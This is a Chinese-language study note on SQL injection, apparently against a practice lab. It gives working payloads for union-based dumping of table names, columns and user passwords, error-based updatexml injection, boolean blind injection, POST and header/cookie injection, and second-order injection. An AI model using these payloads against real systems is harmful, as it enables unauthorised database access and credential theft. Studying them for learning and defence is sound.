目录
sql注入流程
这是一个get传参我们首先是要知道到底有多少列这个数据
?id=1' order by 3--+
?id=1' order by 4--+
4这里报错了说明他只有三列
然后我们利用联合查询
?id=-1'union select 1,2,3--+
为什么会用-1来查询呢---使用 -1
作为 id
参数的原因通常是为了确保前面的查询部分没有返回任何有效的记录,也可用一个不存在的id都可以
查出他的回显,现在我们就可以来爆破它的数据库名
?id=-1'union select 1,database(),version()--+
这是mysql自动创建的库,里面有个信息库
这里面有两张一个表名,一个是列名,于是我么可以尝试注入
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
报错注入
?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+
-
updatexml
函数的第一个参数,它通常应该是一个 XML 类型的表达式,但在这里它被用作引发错误的方式。 -
concat(0x7e, (SELECT database()), 0x7e)
: -
0x7e
:这是十六进制表示的~
字符。它用来在错误消息中包裹输出内容。 -
(SELECT database())
:这是一个子查询,用于获取当前数据库的名称。 -
concat(...)
:将这些片段连接成一个字符串,形式为~数据库名~
。 -
1
:updatexml
函数的第三个参数,也是用来引发错误的方式。 -
count()统计数据
rand()随机数
floor() 向下取整
ceil ()向上取整
group by分组
盲注
当页面出现一真一假时可以使用
?id=1'and ascii(substr((select database()),1,1))=115--+
在这里,substr((select database()),1,1) 表示从数据库名称中提取第一个字符
这里=号也可以换成< >符号进行判断
?id=1'and length((select database()))>9--+
主要用到substr,ascii,length函数
post注入
a'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#
跟之前的语句都是差不多的,这里时两行的回显,所以我们select用到的是两个参数,之前是url传参需要url编码,这里我们可以直接使用#号
请求头注入
发现这里可以修改
于是我们可以用到bp抓包进行修改注入
cookie
二次注入
这里可以直接注册一个admin'#把后面的给注释掉